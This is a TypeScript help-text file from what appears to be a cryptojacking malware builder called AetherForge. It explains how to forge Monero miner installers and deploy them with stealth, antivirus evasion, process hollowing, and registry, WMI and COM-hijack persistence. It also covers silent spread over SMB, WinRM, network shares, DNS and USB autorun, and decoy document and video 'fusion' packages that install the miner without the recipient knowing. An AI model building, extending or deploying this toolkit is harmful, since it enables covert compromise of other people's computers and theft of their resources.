AetherForge/server/web/src/help/settingHelp.ts

export const SETUP_CHEATSHEET = [
  {
    title: '1. Calibrate once',
    body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
  },
  {
    title: '2. Forge (Simple mode)',
    body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
  },
  {
    title: '3. Deploy',
    body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
  },
  {
    title: '4. Watch the fleet',
    body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
  },
];

export const FIELD_HELP: Record<string, string> = {
  calibrate_wallet:
    'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 or 8 and be 90–106 characters.',
  calibrate_quick_setup:
    'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
  forge_simple_mode:
    'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
  forge_operation_mode:
    'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
  forge_lotl_onion:
    'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
  forge_path_forge:
    'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
  forge_recommended_defaults:
    'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
  obfuscate:
    'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).',
  sign_build:
    'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
  sigil_scramble:
    'After compile, the server appends a unique Sigil overlay and nudges the PE timestamp so static AV hashes differ every forge. Runtime behavior is unchanged.',
  obfuscate_default:
    'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.',
  sign_enabled:
    'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
  sign_cert_thumbprint:
    'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
  sign_tool_path:
    'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
  sign_timestamp_url:
    'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
  worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
  server_url:
    'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
  output_dir:
    'Optional extra copy into a subfolder (e.g. exports). The forged .exe is always written to the project root as a single file with the same name as your Fusion output setting.',
  wallet: 'Monero wallet address where pool payouts go. Must be a valid mainnet address starting with 4 or 8 (90–106 characters).',
  pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
  pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
  pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
  pool_pass: 'Pool password, usually x for Monero. Some pools use wallet+worker syntax.',
  threads: 'Fixed thread count when Thread Mode is Fixed. More threads = more hashrate but more CPU heat.',
  thread_mode: 'Auto (% of cores) adapts to each machine. Fixed uses an exact thread count on every PC.',
  thread_percent: 'Percentage of logical CPU cores to use when Thread Mode is Auto. 75% on an 8-core box ≈ 6 threads.',
  max_cpu_usage_pct: 'Target ceiling for miner CPU usage. Agent throttles when reporting usage above this.',
  max_memory_percent: 'Maximum share of system RAM the miner should respect. Helps avoid swapping on low-RAM machines.',
  min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
  cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
  mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
  miner_execution:
    'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
  idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
  idle_duration_minutes: 'How long the machine must be idle before mining begins.',
  schedule_start: 'For Scheduled mode: daily start time (24h).',
  schedule_end: 'For Scheduled mode: daily stop time (24h). Can cross midnight.',
  display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
  process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
  persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
  autostart_mode:
    'Extra boot/logon hooks (Windows, MITRE T1547-style). Legacy (empty) keeps today\'s behavior. Boot task = ONSTART at system boot (SYSTEM). Logon task = ONLOGON when a user signs in. Logon Run = HKCU Run key. Startup folder = shortcut in %APPDATA%\\...\\Startup. All = every hook. Does not replace Run As scheduled/BITS/host-binary modes.',
  registry_persistence:
    'Forge-baked registry Run/RunOnce hooks (MITRE T1112). Separate from boot tasks: Run keys fire at user logon; RunOnce runs once then removes itself. HKLM requires elevation — skipped silently if not admin. Value name: AetherForge_{worker}. Uninstall removes only keys this agent created.',
  registry_run_hkcu:
    'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run — standard per-user logon autostart. Works without admin.',
  registry_run_once:
    'HKCU\\...\\RunOnce — runs once at next logon then deletes the value. Useful for one-shot relaunch after upgrade.',
  registry_run_hklm:
    'HKLM Run + RunOnce — machine-wide logon hooks. Only written when the agent process is elevated; otherwise skipped.',
  registry_explorer_run:
    'HKCU\\...\\Policies\\Explorer\\Run — less common Group-Policy-style logon hook. Same user scope as HKCU Run.',
  run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
  host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
  silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
  auto_start: 'Same as Persistence. Keeps miner running after reboot.',
  fusion_enabled:
    'Fuse the miner with any file — PDF, video, Word doc, image, or executable. When the person opens the fusion package, their file opens normally while the miner installs silently in the background.',
  fusion_run_order:
    'When to open the decoy file vs. install the miner. Parallel = both happen at the same time (recommended — least delay). File first = file opens before miner starts. Miner first = miner installs first, file opens after.',
  fusion_prep:
    'Any file you want to use as a decoy — PDF, video (MP4/MOV/MKV), Word document, spreadsheet, image, or Windows executable. The recipient sees only their normal file; the miner installs silently. Max 2 GB.',
  fusion_media_mode:
    'All-in-one (embedded): the file is baked directly into the runner binary — one file to send, best for files under ~500 MB. ZIP bundle (paired): your original file + runners packaged in a ZIP — works for any size file.',
  fusion_output_name:
    'The name of the runner binary inside the ZIP (e.g. report-runner.exe). The recipient runs this to open their file and trigger the install. Leave blank to auto-generate from your file name.',
  fusion_batch:
    'Queue multiple files at once — each one produces its own separate universal ZIP. Great for delivering a folder of documents or videos. The recipient only needs to run the launcher for their OS.',
  install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
  install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
  install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
  public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
  cloudflare_tunnel_token:
    'Cloudflare Zero Trust connector token from the tunnel install command (cloudflared tunnel run --token …). Saved to config and data/cloudflared-token.txt; AetherForge starts cloudflared automatically on launch. Route the tunnel to http://localhost:<port> in the Cloudflare dashboard.',
  websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
  log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
  adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
  self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
  firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
  open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
  firewall_remote: 'From Fleet/Crucible remote ops (Windows, admin, Remote Aggressive Ops): FW Off/On toggles all profiles; FW Private Off disables Private+Public only; Open FW Port adds a TCP allow rule; Remove FW Rules clears AetherForge miner rules.',
  file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
  stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
  ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
  ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
  ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
  process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
  mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
  auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
  usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
  share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
  winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
  dns_txt_spread:
    'DNS TXT Spread: Stages hash-verified worker shards via `_aether.<zone>` TXT records (nslookup / Resolve-DnsName). Default ON for Windows/universal — low egress, blends with internal DNS policy refresh. Server Calibrate `dns_zone` sets the zone suffix.',
  webrtc_mesh_spread:
    'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
  wsus_cache_peer_spread:
    'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
  com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
  linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
  hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
  remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
  target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
  target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
  spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
  forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
  https_beacon_fallback:
    'Primary C2 = WebSocket (MITRE T1071.001). When WS is unreachable for several minutes, the agent falls back to normal HTTPS POST beacons on /api/v1/agent/beacon — same TLS and fleet secret as the REST API. Enabled by default when backup server URLs are set.',
  https_beacon_after_min:
    'Minutes without a live WebSocket before the agent switches to HTTPS beacon polling. Default 3.',
  webhook_url:
    'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
};